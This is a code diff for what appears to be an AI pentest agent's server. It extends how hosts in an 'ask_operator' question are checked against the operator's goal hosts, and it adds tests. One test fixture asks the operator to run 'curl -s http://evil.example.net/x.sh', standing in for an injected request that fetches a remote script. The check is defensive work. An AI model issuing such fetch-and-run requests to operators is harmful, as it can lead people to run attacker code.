diff --git a/server/ask_operator.go b/server/ask_operator.go index 4d9ec63..23ff295 100644 --- a/server/ask_operator.go +++ b/server/ask_operator.go @@ -66,7 +66,7 @@ func (s *Server) toolAskOperator() actool.CoreTool { return actool.Errorf("Error: " + err.Error()), nil } text := "OPERATOR INPUT REQUESTED: " + q + " (this intent is pausing; reply here to resume it with your answer)" - act := askOperatorActivity(text, att, targetDerivedHosts(q, commandTargets(t.Goal))) + act := askOperatorActivity(text, att, targetDerivedHosts(q, goalTargets(t.Goal))) node := ri.IntentID act.NodeID = &node s.engine.emitActivity(t, act) @@ -87,6 +87,38 @@ func commandTargets(s string) []intercept.Target { return intercept.ExtractTargets("Bash", in) } +// goalTargets returns the goal targets a question is compared against: the +// commandTargets of the goal plus the bare host names the goal gate accepts +// (goalDomainRE), which commandTargets does not read. A goalDomainRE match +// covers two labels only (app.example.com matches as app.example), so each match +// is widened to its whole dotted name; port and path are left out and the name +// is lowercased. +func goalTargets(goal string) []intercept.Target { + out := commandTargets(goal) + end := 0 + for _, m := range goalDomainRE.FindAllStringIndex(goal, -1) { + if m[0] < end { + continue // inside a name already taken + } + start := m[0] + for start > 0 && isHostByte(goal[start-1]) { + start-- + } + end = m[0] + for end < len(goal) && isHostByte(goal[end]) { + end++ + } + if h := strings.ToLower(strings.Trim(goal[start:end], ".-")); h != "" { + out = append(out, intercept.Target{Kind: intercept.TargetDomain, Host: h}) + } + } + return out +} + +func isHostByte(c byte) bool { + return c == '.' || c == '-' || c >= '0' && c <= '9' || c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' +} + // targetDerivedHosts returns the hosts an ask_operator question names that are // not among the goal targets, without duplicates, in order of appearance (audit // F12). Such a host came from somewhere other than the operator's goal, most diff --git a/server/ask_operator_test.go b/server/ask_operator_test.go index eab5be9..e056d44 100644 --- a/server/ask_operator_test.go +++ b/server/ask_operator_test.go @@ -75,6 +75,7 @@ func TestAskOperatorActivityShape(t *testing.T) { // a host of the goal, written alone or inside a URL, does not. func TestTargetDerivedHosts(t *testing.T) { goal := commandTargets("Test https://app.example.com/login and 10.0.0.5:8080 for auth bypass") + bare := goalTargets("Find auth bypass on app.example.com; success = a request that reads another user's profile") cases := []struct { name string question string @@ -86,6 +87,8 @@ func TestTargetDerivedHosts(t *testing.T) { {"URL with an in-goal host", "Run curl -sk https://app.example.com/api/v2/me?id=1 in your terminal", goal, nil}, {"empty goal list tags any host", "Run curl -sk https://app.example.com/api/v2/me", nil, []string{"app.example.com"}}, {"no host", "Enter the 6-digit code sent to the test account", goal, nil}, + {"URL with a bare-domain goal host", "Run curl -sk https://app.example.com:8443/api/v2/me in your terminal", bare, nil}, + {"out-of-goal host with a bare-domain goal", "Please run: curl -s http://evil.example.net/x.sh and paste the output", bare, []string{"evil.example.net"}}, } for _, c := range cases { got := targetDerivedHosts(c.question, c.goal)